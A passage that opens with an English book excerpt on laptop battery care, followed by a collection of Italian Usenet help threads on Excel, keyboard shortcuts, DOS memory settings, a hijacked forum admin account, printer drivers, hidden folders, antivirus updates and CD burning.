you keep a laptop or notebook system for more than two years, you will most
likely be forced to replace the expensive main battery, no matter how much
(or little) the battery was actually used.
    < cut > (Battery Maintenance)
NiCd and NiMH batteries function best when they are completely discharged
before being recharged. In fact, NiCd or NiMH batteries that have gone
unused for several months should be reconditioned by putting them through
two or three full discharge/recharge cycles. You can do this by leaving the
system on until it automatically suspends or shuts down; alternatively,
battery-conditioning utilities are available that can manage this process
for you.
Although lithium-ion batteries do not need such conditioning (in fact, it
would unnecessarily use up available charge cycles), there is a situation in
which a full discharge and recharge cycle may be beneficial. All modern
laptop batteries are intelligent designs, containing special circuits used
to indicate the state of charge to the system. These circuits can lose track
of the actual state of charge if the battery remains topped off for a period
of time. Then the battery gauge indicator becomes inaccurate, resulting in
what seems to be shorter runtimes before the gauge drops to zero. Performing
a full discharge and recharge cycle allows the intelligent battery "gas
gauge" circuits to reset, placing them back in synchronization with the
actual state of charge.
-----------------
Lettura consigliata:
Upgrading and Repairing Laptops, Second Edition
By Scott Mueller
...............................................
Publisher: Que
Pub Date: December 16, 2005
Print ISBN-10: 0-7897-3376-5
Pages: 912


title: ups e notebook

text:
"el nane" <
eln...@venezia.no
> ha scritto nel messaggio
> Detta elettronica "conta" le cariche e (generalmente) ne
> "autorizza" 300 Full Charge con  200 Half Charge, quindi le
> "stacca" completamente dal circuito.
quindi facendo come tu avevi consigliato, supponendo 1 ricarica al
giorno, dopo nemmeno 2 anni le dovresti "buttare".
facendo come faccio io durano moolto di piu' ( la mia del Thinkpad
PIII la ho dal 2001) la utilizzo completamente una cinquantina di
volte all'anno.
quindi ora alla luce delle tue nuove conoscenze, puoi finalmente
rispondere rispettando il mio "primo teorema"
"se tutti rispondessero *solo* alle cose che sanno per certo, il
mondo sarebbe avanti di 100.000 anni..."



title: copiare dati di excel

author: Gabriele

text:
vorrei sapere come si fa in excel a copiare i contenuti di un foglio su
un'altro che ha la stesso formato e stesse  colonne evitando di
sovrascrivere o accodare  dati; insomma vorrei che i dati si fondessero in
un unico foglio.
Esempio:
1°   file
 2 colonne,  nome e cognome
Pietro        Barra
Angelo      Verdi
Mario        Rossi
Claudia    Carnevale
2° file
 sempre 2 colonne, nome e cognome
Silvio         Gennari
Angelo      Verdi
Mario        Rossi
Patrizia     Scolari
Vorrei una funzione che mi creasse un unico file eliminando i nomi doppioni:
Esempio :deve risultare dopo la copia :
Silvio         Gennari
Pietro        Barra
Angelo      Verdi
Mario        Rossi
Claudia    Carnevale
Patrizia     Scolari
grazie e saluti


title: copiare dati di excel

author: DragonsLord

text:
Gabriele ha scritto:
> vorrei sapere come si fa in excel a copiare i contenuti di un foglio su
> un'altro che ha la stesso formato e stesse  colonne evitando di
> sovrascrivere o accodare  dati; insomma vorrei che i dati si fondessero in
> un unico foglio.
[CUT]
Proverei su
microsoft.public.it.office.excel
Ciao.
--
DragonsLord
"La capacità di parlare non ti fa essere intelligente".
Da "Star Wars - Episodio 1".


title: copiare dati di excel

author: Lapalissiano

text:


Prima li accodi, poi menu Dati>Filtro>Avanzato e spunti 'Copia univoca
dei record'. Eventualmente puoi automatizzare l'operazione ricorrendo a
macro.
Vedi anche la mia risposta al post '[exel] confronto File' subito prima
del tuo. In fondo si tratta più o meno dello stesso problema e le
soluzioni là indicate potranno essere utili anche a te.
--
Tiziano "Lapalissiano" Marmiroli
Microsoft MVP - Office


title: aiuto tastiera

author: ciro

text:
quale combinazioni di tasti bisogna premere per ottenere il trattino
presente in questa scritta?
ti_noserial_x_e
grazie


title: aiuto tastiera

author: Denis

text:
ciro ha scritto:
> ti_noserial_x_e
Quel trattino si chiama underscore e lo puoi creare premendo lo shift di
destra e il tasto subito vicino (quello del -)
--
Ciao Denis
Arriva un momento nella vita in cui non rimane altro da fare che
percorrere la propria strada fino in fondo...
Quello e' il momento di inseguire i propri sogni, quello e' il momento
di prendere il largo, forti delle proprie convinzioni.


title: aiuto tastiera

author: Nicola

text:
"ciro" <
ciro.be...@aliceposta.it
> ha scritto nel messaggio news:450fa3fe$0$35084$4faf...@reader4.news.tin.it...
> quale combinazioni di tasti bisogna premere per ottenere il trattino
> presente in questa scritta?
>
>
> ti_noserial_x_e
ALT+095 oppure il tasto delle Maiuscole e pigi il tasto dove presente.
Ciao Nicola
_


title: AIUTO!!!! Outlook express nn mi manda email!!

author: Mac

text:
Nn mi manda email verso 1 mio amico, mi da errore del server 550!!! ho
provato con tutte le tre mail che ha!! aiuto!!!


title: Memoria espansa sotto win98

author: poliper

text:
Pentium III con Win98. Un programma creato col vecchio VBdos si blocca per
problemi di memoria. Dovrebbe dipendere dalla memoria espansa. Ma quando
provo a configurare la memoria espansa nella scheda "memoria" delle
proprietà del programma, trovo la scritta "il computer non è configurato
per la memoria espansa nelle sessioni MS-DOS. Che cosa devo fare?.
Ho confrontato con un'altra macchina (Pentium II), sempre con Win98 e lì la
memoraia espansa è configurabile. Non trovo differenze significative nel
Config e nell'Autexec.
Aiuto, per favore.
Stefano


title: Memoria espansa sotto win98

author: Pardo

text:
poliper ha detto:

config.sys con memoria espansa:
device=c:\windows\himem.sys
device=c:\windows\emm386.exe 1024 ram
dos=high,umb
......[altra roba]........
`1024' sono i kb di ems che vuoi assegnare
--
    Pardo

pardo.cjb.net


title: Files!

author: Gianni

text:
Un saluto a tutto il newsgroup.
Un amico mi chiede di postare questo quesito:
cosa sono i file con estensione waf?
Li ha trovati nella cartella Temp del Windows.
Grazie per le eventuali risposte.
A presto, Gianni.


title: Files!

author: Stefano

text:
"Gianni" <
france...@libero.it
> ha scritto nel messaggio
news:eo6t7.3450$C15.1...@news.infostrada.it...

WalkaboutŽ ASCII Format (WAF) Description ?
------------------------------
http://web.tiscalinet.it/winzozz


title: Files!

text:
"Stefano" <
win...@tiscalinet.it
> ha scritto nel messaggio
news:Gf8t7.4068$C15.1...@news.infostrada.it...
>
> "Gianni" <
france...@libero.it
> ha scritto nel messaggio
> news:eo6t7.3450$C15.1...@news.infostrada.it...
> > Un saluto a tutto il newsgroup.
> > Un amico mi chiede di postare questo quesito:
> > cosa sono i file con estensione waf?
> > Li ha trovati nella cartella Temp del Windows.
> > Grazie per le eventuali risposte.
> > A presto, Gianni.
> >
> >
>
> Walkabout® ASCII Format (WAF) Description ?
Grazie per la risposta, ma che sono?
A presto, Gianni.


title: admin e forum

author: Renzo

text:
Ho un forum con forum snitz 2000. Oggi collegandomi come amministratore ho
visto che un tizio (da un server straniero) si è registrato come
amministratore. Non so come abbia fatto.
Volevo cancellarlo ma non ci sono riuscito.
Come fare? Aiutatemi per favore, è una faccenda molto grave.
Sono andato un ricerca utenti, ho trovato il suo profilo ma non c'è in
corrispondenza l'icona del cestino che mi permette di cancellare gli utenti
(come faccio con altri).
Ho poi decine di utenti che si registrano (sempre dall'estero) e lanciano
spam con messaggi volgari (in inglese) come rendere più "difficile" la
registrazione e più sicuro il tutto.
Vi prego aiutatemi.
Grazie


title: admin e forum

text:
Secondo me, devi contattare chi ti offre il servizio e se anche questo
non funziona devi fare una denuncia ai carabinieri.
On Sun, 07 Sep 2008 06:20:40 GMT, "Renzo" <
vinc...@hotmail.it
>
wrote:
>Ho un forum con forum snitz 2000. Oggi collegandomi come amministratore ho
>visto che un tizio (da un server straniero) si č registrato come
>amministratore. Non so come abbia fatto.
>Volevo cancellarlo ma non ci sono riuscito.
>Come fare? Aiutatemi per favore, č una faccenda molto grave.
>Sono andato un ricerca utenti, ho trovato il suo profilo ma non c'č in
>corrispondenza l'icona del cestino che mi permette di cancellare gli utenti
>(come faccio con altri).
>Ho poi decine di utenti che si registrano (sempre dall'estero) e lanciano
>spam con messaggi volgari (in inglese) come rendere piů "difficile" la
>registrazione e piů sicuro il tutto.
>Vi prego aiutatemi.
>Grazie
>


title: admin e forum

author: nimrod

text:
dragodoro...@gmail.com
 ha scritto:
> Secondo me, devi contattare chi ti offre il servizio e se anche questo
> non funziona devi fare una denuncia ai carabinieri.
Per come lavorano i carabinieri, rivolgendosi a loro, ci guadagna solo
un'ulcera. Lo so per esperienza diretta.


title: admin e forum

text:
nimrod ha scritto:


Carabinieri... no comment.
Vai alla polizia postale, sono in gamba.. e parecchio :)
Però se il provider è straniero non ci possono fare quasi nulla, tu puoi
fare comunque una denuncia cautelativa ed intanto mettere pressione sul
gestore del servizio di forum.
ciao
--
Risolvi le operazioni per scrivermi!
questo articolo e` stato inviato via web dal servizio gratuito
http://www.newsland.it/news
 segnala gli abusi ad
ab...@newsland.it


title: admin e forum

text:
On Mon, 08 Sep 2008 14:18:18 +0200,
dany...@tele2x1.it
 (Master3)
wrote:
>nimrod ha scritto:
>Carabinieri... no comment.
>Vai alla polizia postale, sono in gamba.. e parecchio :)
>
>Però se il provider è straniero non ci possono fare quasi nulla, tu puoi
>fare comunque una denuncia cautelativa
la denuncia, appunto, è cautelativa, anche se non riescono a capirci
nulla
dimenticavo anche che può essere utile scrivere alla GDF e segnalare
le frodi informatiche; vd. il sito
http://www.gdf.it/Servizi/info1769507703.html
e in particolare questa email:
s...@gat.gdf.it


title: Un Aiuto Dagli Esperti

author: Pi Giannini Riccardo

text:
Sto ricercando disperatamente un programma che mi permetta di trasportare i
preferiti di explorer nel bookmark di netscape e vicevrsa
Mi sapete indicare se esiste un qualcosa del genere?
E se si da dove lo posso scaricare?
Un enorme grazie a tutti


title: Un Aiuto Dagli Esperti

author: Fabio Mascelloni

text:
Pi Giannini Riccardo (
be...@mail.nf.infotel.it
) wrote:
: Sto ricercando disperatamente un programma che mi permetta di trasportare i

Prova al sito
ftp.simtel.net
 (o un suo mirror) il file win95/inet/bkmrk2b.zip
  Ciao,Fabio.


title: Problema di rimborso con Netfraternity !!!

author: Pieroweb

text:
Salve a tutti , spero di non essere OT ( nel caso che lo fossi consigliatemi
pure un newsgroup + appropriato ) ,
da più di un mese ho effettuato la richiesta di rimborso dei fatidici 75
Euro (150.000 lire ) a NETFRATERNITY e
non ho ancora ricevuto nulla , ne i soldi ne una e-mail ....
Qualcuno di voi ha ricevuto il bonifico recentemente ?
Che posso fare ? ( superfluo dire che ho già scritto a
cre...@netfraternity.net
 per segnalare il problema ...)
Grazie in anticipo a chiunque risponderà a questa mail ,
Piero


author: mik

text:
On Wed, 13 Jun 2001 13:42:49 +0200, "Pieroweb" <
ton...@tiscalinet.it
>
wrote:
>da piů di un mese ho effettuato la richiesta di rimborso dei fatidici 75
>Euro (150.000 lire ) a NETFRATERNITY e
In tempi non lontani aveva scritto una persona lamentando la stessa
cosa e un po' piu' indietro nel tempo un'altra parlava di una causa
che voleva iniziare e per cui cercava soci.
Per trovare i messaggi fai una ricerca su
www.deja.com
 o .it (che
forse adesso e' stato sostituito da
www.google.com
 o .it non ricordo).
Ciao!!!
Michele


author: bastians

text:
Pieroweb wrote:
> Qualcuno di voi ha ricevuto il bonifico recentemente ?
io
>
> Che posso fare ? ( superfluo dire che ho già scritto a
>
cre...@netfraternity.net
 per segnalare il problema ...)
contattami in pvt togliendo l'antispam, o in icq quando mi trovi
--
Saluti, Bastians
Togli le z per le risposte private
ICQ uin 26882042


title: driver x stampante

author: paperino

text:
Mi hanno regalato una stampante in disuso di un ufficio,ma non riesco a
trovare i driver x win 98.La stampante č una Fujitsu vm4.
Sul sito Fujitsu
non sono riuscito a trovarli.Qualcuno č in grado di aiutarmi?
Adesso
capite xkč mi chiamo paperino....mi dice sempre SFIGA!!!
Grazie paperino
--------------------------------
Inviato via
http://usenet.iol.it


title: driver x stampante

author: Gesu`

text:
Ciao paperino,
ho saputo dal Fantasma Formaggino che nel messaggio
<
62Z211Z192Z30Y1...@usenet.iol.it
> hai scritto:
>Sul sito Fujitsu
>non sono riuscito a trovarli.Qualcuno è in grado di aiutarmi?
http://www.google.com
--
Ciao, Massimo | ICQ# 57669970 | Per scrivermi togli .com
- Salviamo i plancton, a morte le balene! -


title: driver x stampante

author: Kaan

text:
"paperino" <
pape...@inwind.it
> ha scritto nel messaggio news:62Z211Z192Z30Y1...@usenet.iol.it...
> Mi hanno regalato una stampante in disuso di un ufficio,ma non riesco a
> trovare i driver x win 98.La stampante è una Fujitsu vm4.
> Sul sito Fujitsu
> non sono riuscito a trovarli.Qualcuno è in grado di aiutarmi?
Dovrebbe essere uno di questi due:
http://www.fel.fujitsu.com/home/product.asp?L=en&PID=270&INFO=swr
 (VM4)
http://www.fel.fujitsu.com/home/product.asp?L=en&PID=297&INFO=swr
 (VM4 WIN)
Ciao,
Massimo
--
www.subitoinrete.com


title: driver x stampante

text:
Il 10 Giu 2002, 23:14, "Kaan" <
webma...@subitoinrete.com
> ha scritto:
>"paperino" <
pape...@inwind.it
> ha scritto nel messaggio
>news:62Z211Z192Z30Y1...@usenet.iol.it...
>> Mi hanno regalato
una stampante in disuso di un ufficio,ma non riesco a
>> trovare i driver
x win 98.La stampante č una Fujitsu vm4.
>> Sul sito Fujitsu
>> non sono
riuscito a trovarli.Qualcuno č in grado di aiutarmi?
>Dovrebbe essere
uno di questi due:
>
http://www.fel.fujitsu.com/home/product.asp?L=en&PID=270&INFO=swr
 (VM4)
>
http://www.fel.fujitsu.com/home/product.asp?L=en&PID=297&INFO=swr
 (VM4
>WIN)
>Ciao,
>Massimo
>--
>
www.subitoinrete.com
Ti ringrazio,
c'ero stato, ma non lo avevo visto.
Grazie x la tua disponibilitą, e se ti
servisse aiuto x problemi di grafica cercherņ di restituirti il favore
Ciao paperino



title: E se un idiota...

author: sam

text:
...(e cioè io) installa Magic Folders in c:\documenti\settings\mionome e poi
ha la bella pensata di nascondere la suddetta cartella (che, ovviamente,
contiene anche tutti i suoi documenti) e poi si accorge (il genio) che non
può più disattivare il programma (in quanto nascosto) e che quindi non può
più accedere ai suoi preziosi files? Oltre che a dare le testate sul muro
(fatto), bestemmiare (fatto), provare senza successo di reinstallare Magic
Folder in un altra cartella senza alcun esito (fatto), cosa potrebbe fare?
Scusate la prolissità, ma sono veramente disperato e sarei grato a chiunque
riuscisse a darmi una mano.
Grazie.
Matteo


title: E se un idiota...

author: Stardust®

text:
"sam" wrote in message:

Provato in modalita' provvisoria?
--
Stardust®
"Se do da mangiare ai poveri mi chiamano santo; se chiedo le cause
della loro povertà, mi chiamano comunista" [Dom Elder Càmara - Brazil]


title: E se un idiota...

author: mauro

text:

Suggerimento banale ma non si sa mai:
hai già provato ad aprire una cartella e poi
strumenti -> opzioni cartella ->visualizzazione -> spunta "visualizza
file e cartelle nascoste"   applica/ok ?


title: E se un idiota...

text:
"Stardust®" <nospa...@mit.invalid> ha scritto nel messaggio
news:euR5e.55606$zZ1.1...@twister1.libero.it...
> Provato in modalita' provvisoria?
Fatto, nada.


title: E se un idiota...

text:
"mauro" <
x.togliqu...@tiscali.it
> ha scritto nel messaggio
news:4257e824$0$8086$5fc...@news.tiscali.it...
> Suggerimento banale ma non si sa mai:
> hai già provato ad aprire una cartella e poi
> strumenti -> opzioni cartella ->visualizzazione -> spunta "visualizza
> file e cartelle nascoste"   applica/ok ?
Non me la fa neanche vedere la cartella, purtroppo. Ho nascosto tutto.


title: E se un idiota...

author: orpheus

text:
orpheus wrote:
> di Fosco o di Guglielmo in questo sito lo mettono spesso.
pardon, in questo NG  acc.  :-/


title: E se un idiota...

text:
sam wrote:
> Non me la fa neanche vedere la cartella, purtroppo. Ho nascosto tutto.
i cambiamenti effettuati dipendono da qualche stringa nel
registro, hai provato a recuperare la copia di registro
fatta ultimamente in automatico?
Se il cambiamento l'hai fatto da poco potrebbe darsi
che ricompaia magicamente.
Il comando non lo ricordo, ma se vedi qualche post



title: E se un idiota...

text:
"orpheus" wrote in message:

No, il programma che usa lui nasconde  le cartelle a livello
di sistema. Per Windows spariscono completamente. Forse
si potrebbero vedere in dos, e fare un copy in un'altra directory
non protetta dal programma all'avvio, ma non so se con XP si
riesce a lavorare in dos.



title: E se un idiota...

author: Ssandro

text:
sam ha scritto:

I hid the documents and settings folder and now can't do anything. Help!
Use "Run" to run "magic.exe". Remove the offending folder from your hidden
folder list. Magic Folders really does hide folders. Don't hide system
folders. Also see "Help" about backups. Backup programs won't find your
files either unless you make them visible first.
--
Ssandro


title: E se un idiota...

author: Francesca

text:
Hai provato con Linux? Magari con la Knoppix che parte da CD-ROM leggi i
dati della partizione FAT di Windows, fai il backup su un CD-ROM o su
un'altra cartella di Windows. Io in genere faccio così quanto Windows
parte e devo recuperare tutti i dati urgentemente.
Franc_


title: E se un idiota...

author: Fosco

text:
"Stardust®"
> No, il programma che usa lui nasconde  le cartelle a livello
> di sistema. Per Windows spariscono completamente. Forse
> si potrebbero vedere in dos, e fare un copy in un'altra directory
> non protetta dal programma all'avvio, ma non so se con XP si
> riesce a lavorare in dos.
Con XP potrebbe provare un system restore
news:it.comp.os.win.xp
--
Fosco


title: E se un idiota...

author: Ammammata

text:
sam wrote:
> ...(e cioè io) installa Magic Folders in c:\documenti\settings\mionome e poi
> ha la bella pensata di nascondere la suddetta cartella (che, ovviamente,
> contiene anche tutti i suoi documenti) e poi si accorge (il genio) che non
> può più disattivare il programma (in quanto nascosto) e che quindi non può
> più accedere ai suoi preziosi files? Oltre che a dare le testate sul muro
> (fatto), bestemmiare (fatto), provare senza successo di reinstallare Magic
> Folder in un altra cartella senza alcun esito (fatto), cosa potrebbe fare?
>
prova a recuperare i dati montando il disco in un altro computer
--
/-\ /\/\ /\/\ /-\ /\/\ /\/\ /-\ T /-\


title: E se un idiota...

text:
Grazie a tutti quelli che mi hanno risposto, ma ho risolto in un altro
modo!! Ce l'ho fattaaaaa!!!!! Ho copiato il profilo utente sparito in
documenti comuni. Ho recuperato tutto!!!
Grazie davvero lo stesso.
Matteo


title: Help cosa strana mentre navigo

author: Giorgia

text:
Buongiorno a tutti,
mi sono accorta da qualche tempo che il mio pc diventa lento nella
navigazione.
E che compaiono, sulla barra inferiore, delle pagine con la scritta
Microsoft Internet Explorer....Microsoft Internet Explorer, solo che non le
posso visionare, né ingrandire. Per capirci: come se ci fosse un pop up che
si apre all'improvviso, solo che non si apre davvero. Lo vedo solo in basso,
sulla barra. E se ci vado sopra col mouse, non succede nulla, nemmeno
cliccando su Ripristina. Riesco solo a chiuderlo, ma non a vedere di cosa si
tratta.
E da quando mi succede questo, la navigazione si rallenta. Non riesco a
tornare indietro nelle pagine viste. Oppure, se per esempio compilo un form
per iscrivermi ad un forum, dopo l'invio dei dati, la pagina si blocca.
Ho fatto la scansione con Spybot, ma non ha rilevato nulla.
Che cosa può essere?
Grazie mille
Giorgia


title: Help cosa strana mentre navigo

author: Mic

text:
Pensando che tutto il mondo lo ascoltasse *Giorgia* il giorno
*16/10/2005* urlava queste parole:

Ti do un consiglio... smetti di usare IE e passa Mozzila Firefox.
Probabilmete sarà la carta vincente! :D
--
Quando un uomo con la pistola incontra un uomo con il fucile,
quello con la pistola e' un uomo morto.
(Gian Maria Volonte' a Clint Eastwood in "Per un pugno di dollari",
1964)
http://spaces.msn.com/members/miticonoce/


title: Help cosa strana mentre navigo

author: Nic

text:
> se ti piace, poi ti posto il link x aggiungere il turbo!
????
quale turbo????


title: Help cosa strana mentre navigo

text:
"El Dorado" <
Li...@security.it
> ha scritto nel messaggio
news:ditfhi$bhu$1...@megan.servidellagleba.it...
> In data Sun, 16 Oct 2005 08:20:47 +0200, *Giorgia* ha scritto:
>
> > Buongiorno a tutti,
> > mi sono accorta da qualche tempo che il mio pc diventa lento nella
> > navigazione.  Microsoft Internet Explorer....
>
> non preoccuparti, poi arriva *Vincenzo* che risolve !
>
> nel frattempo, prova Firefox:
http://www.mozilla.org/products/firefox/all.html
> se ti piace, poi ti posto il link x aggiungere il turbo!
Wow! Provato...e non succede nulla, la navigazione va alla grande :-) Non si
blocca nulla.
Allora il problema è in Explorer. Mi consolo. Credevo che il pc stesse
andando in pappa.
Grazie infinite ad entrambi per questo splendido consiglio!
Come potrei aggiungere il "turbo"? :-) Tieni presente che ho una semplice
connessione a 56 k.
Grazie ancora, ciao


title: Help cosa strana mentre navigo

author: Dark Guardian

text:
"Giorgia" <
gio...@nomailnomail.uk
> ha scritto nel messaggio
news:4351f0bf$0$8494$5fc...@news.tiscali.it...

Oltre a spybot potresti provare anche
    Ad-Aware (
www.lavasoft.com
)
    Microsofr Antispyware beta (
www.microsoft.it
 )
inquanto i "sintomi" che descrivi sono tipici di alcuni malware.
Se non lo hai già fatto aggiorna l'antivirus e prova a fare una scansione
in modalità provvisoria (premi -ripetutamente se occorre-
F8 all' avvio prima che appaia il logo windows).
Se te ne servisse uno gratuito puoi provare:
    AVG  [
http://free.grisoft.com
 ]
    Avast! [
www.avast.com
 ]
    Antivir [
www.free-av.com
 ]
Per il futuro, se puoi, evita di usare Internet Explorer sostitiuendolo
con un programma più sicuro:

www.opera.com
 [Opera]

www.mozilla-europe.org/it/
 [Firefox]
Entrambi sono gratuiti e ricchi di funzioni avanzate (oltre che molto
più sicuri...)
--
guardiano oscuro
 Solo e pensoso i più deserti campi
 vo misurando a passi tardi e lenti ...


title: Problema con trillian

author: bondurant

text:
Ciao
uso Trillian 3.1 basic, ma ultimamente mi capita sempre piu spesso di
non ricevere i msg che mi vengono inviati, e anche che i miei non
vengano letti. Questo anche se apparentemente funziona tutto
perfettamente.
La cosa accade specialmente con account Icq, mentre Msn sembra
risentirne di meno.
A qualcuno è capitato? C'è qualche soluzione, o devo disistallare e
tornare a uasare msn e icq separatamente?
Mille grazie, ciao!
A


title: Problema con trillian

author: gabestorm©

text:
* bondurant * (portatore sano di minchiate) in un contesto surreale, spinto
da curiosità morbosa, pronunciava le seguenti idiozie verbali:
> La cosa accade specialmente con account Icq, mentre Msn sembra
> risentirne di meno.
c'è stato un aggiornamento per icq che il mio ha fatto in automatico (ma io
ho la versione pro, non so con quella basic)
> A qualcuno è capitato?
io tutto bene!
--
________________________
http://blog.virgilio.it/infernoegloria
MSN: gabestorm[AT]
hotmail.com
ICQ# 222388694


title: Problema con trillian

text:
Ciao
su trillian basic mi sembra di nn aver mai fatto aggiornamenti.. magari
passo al pro anch io..
Dici che ne vale la pena?


title: Problema con trillian

text:
* bondurant * (portatore sano di minchiate) in un contesto surreale, spinto
da curiosità morbosa, pronunciava le seguenti idiozie verbali:
> su trillian basic mi sembra di nn aver mai fatto aggiornamenti..
> magari passo al pro anch io..
> Dici che ne vale la pena?
ne vale ne vale!



title: LiveUpdate di NAV

author: Vittorio

text:
Da qualche giorno il LiveUpdate di NAV quasi quasi non cammina piu',
infatti e' un po' che non faccio l'aggiornamento dei virus perche' e'
diventato esasperante.
Da cosa puo' difendere? Ho provato a chiudere ZA ma non cambia niente.
Proprio ora provavo ma da 20 minuti e' fermo su "prelievo informazioni
piu' recenti sul prodotto"!
Ciao.
--

   =-=-=-=-=-=-=-=
   =  Vittorio   =
   =-=-=-=-=-=-=-=
togli <Vitt orio> per email


title: LiveUpdate di NAV

author: mbwun

text:
<Vittorio Z@v.b> ha scritto nel messaggio
news:6snvrsg0orek41oet...@4ax.com...

Puoi tentare di scaricare il file manualmente
Se non hai messaggi di errori da parte di Live Update potrebbe essere il
server Live Update sovraccarico.
Che versione di NAV hai?
In alternativa (ma non mi sembra questo il caso) potresti disinstallare Live
Update da Pannello di Controllo, riavviare e lanciare Lusetup che si prende
qui
ftp://ftp.symantec.com/public/italiano/
 (cartella Live Update)
Lusetup non č altro che la versione piů recente di Live Update.
Per aggiornare l'antivirus vai qui
http://www.symantec.com/avcenter/cgi-bin/navsarc.cgi
  scarichi il file unico
0911i32.exe (circa 2,4 Mb) ci clicchi sopra, apparira una scritta in inglese
(SARC) che chiede se vuoi aggiornare, dici ok, lui installa e dopo 3-4
secondi appare una scritta di conferma.
Apri l'antivirus, verifica che data e numero dei virus siano aggiornati
Se non fosse cosě chiudi e riapri l'antivirus.
Ciao
mb...@libero.it
http://digilander.iol.it/mbwun


title: LiveUpdate di NAV

text:
On Wed, 13 Sep 2000 22:37:41 +0200, Scarpantibus <MaC...@Frega.it>
wrote:
>
>Mi sembra che tu stia usando InWind....
>Se e' cosi' e' piu' che normale :-((((
L'ho pensato pure io, e' parecchio che ho rinunciato ai download, non
e' solo il LiveUpdate che non si muove, ma qualsiasi cosa, calma
piatta e cadute di linea quando sei fortunato che riesci a
connetterti. Da un mese abbondante Wind fa pena, per non essere
volgare e se lo meriterebbero di tutto cuore!
Scusate lo sfogo OT.



title: LiveUpdate di NAV

author: SuperPippo

text:
"mbwun" <
mb...@libero.it
> ha scritto nel messaggio
news:lJRv5.2678$0C2....@news.infostrada.it...
>
> Che versione di NAV hai?
> In alternativa (ma non mi sembra questo il caso) potresti disinstallare
Live
> Update da Pannello di Controllo, riavviare e lanciare Lusetup che si
prende
> qui
ftp://ftp.symantec.com/public/italiano/
 (cartella Live Update)
> Lusetup non č altro che la versione piů recente di Live Update.
Ciao mbwun... questo non lo sapevo.... ho Norton Av 2000... ed il Live
Update mi funziona benissimo... questo Lusetup cosa č... versione
aggiorrnata di Live Update ???
che differenza c'č tra le due ??? Grazie....
--
togli QRZ? x rispondermi in e-mail.
--------------------------------
SuperPippo :o))


title: LiveUpdate di NAV

text:
"SuperPippo" <QRZ?
ik0...@libero.it
> ha scritto nel messaggio
news:yn7w5.1753$XZ4....@news.infostrada.it...
>
>
> Ciao mbwun... questo non lo sapevo.... ho Norton Av 2000... ed il Live
> Update mi funziona benissimo... questo Lusetup cosa è... versione
> aggiorrnata di Live Update ???
> che differenza c'è tra le due ??? Grazie....
> --
> togli QRZ? x rispondermi in e-mail.
> --------------------------------
> SuperPippo :o))
>
>
Lusetup non è altro che Live Update, può accadere che alcune persone che
hanno vecchie versioni del Norton abbiano dei problemi con il Live Update,
in tal caso si scaricano l'aggiornamento.
Con il NAV 2000 non hai bisogno di eseguire Lusetup (meglio sapere dove è in
caso di necessità)  ciao
--
mb...@libero.it
http://digilander.iol.it/mbwun


title: Come faccio a vedere i files pdf in explorer?

author: mimmo

text:
ciao a tutti,fino a poco tempo fa riuscivo ad aprire tutti i link .pdf
all'interno dell'explorer (si apriva acrobat reader all'interno del
browser)adesso invece mi appare una pagina bianca e devo per forza salvarmi
i file pdf e vederli in un secondo momento
si puň ovviare in qualche maniera?
grazie


author: Flop©

text:
"mimmo" <
m...@inwind.it
> in una notte buia e tempestosa ha scritto:
> ciao a tutti,fino a poco tempo fa riuscivo ad aprire tutti i link .pdf
> all'interno dell'explorer (si apriva acrobat reader all'interno del
> browser)adesso invece mi appare una pagina bianca e devo per forza
salvarmi
> i file pdf e vederli in un secondo momento
> si può ovviare in qualche maniera?
Prova a reinstallare l'Acrobat reader.
Può essere che si è rovinato qualcosa e la reinstallazione potrebbe
riaggiustare tutto.
--
Francesco Loppini
www.flopweb.com
loppini[AT]
libero.it
ICQ: 13019849


title: Mp3 in cd audio normale?

author: Giovanni Vannelli

text:
avendo file in mp3 come fare per masterizzarli su
CD in formato ascoltabile (e quindi non in mp3)?
Ho sia windows media player che Sonic, oppure
quando li masterizza il prg li masterizza in formato
audio e non in mp3...non credo vero? quindi?
o ci vuole un prg specifico (magari freeware)?
grazie
p.s. in che formato e estensione sono i file delle
      canzoni sui normali cd?
--
Posted via Mailgate.ORG Server -
http://www.Mailgate.ORG


title: Mp3 in cd audio normale?

author: Ale

text:
Forse non tutti sanno che Giovanni Vannelli ha scritto nel messaggio
<
c5f5dc6d0eb5a65b44e...@mygate.mailgate.org
>
> avendo file in mp3 come fare per masterizzarli su
> CD in formato ascoltabile (e quindi non in mp3)?
>
> Ho sia windows media player che Sonic, oppure
> quando li masterizza il prg li masterizza in formato
> audio e non in mp3...non credo vero? quindi?
>
> o ci vuole un prg specifico (magari freeware)?
>
> grazie
>
> p.s. in che formato e estensione sono i file delle
>       canzoni sui normali cd?
Usare Nero no?
crea cd audio ci butti i file e masterizzi niente di più facile....
--
Ale(RN)
http://abqualcosa.spaces.live.com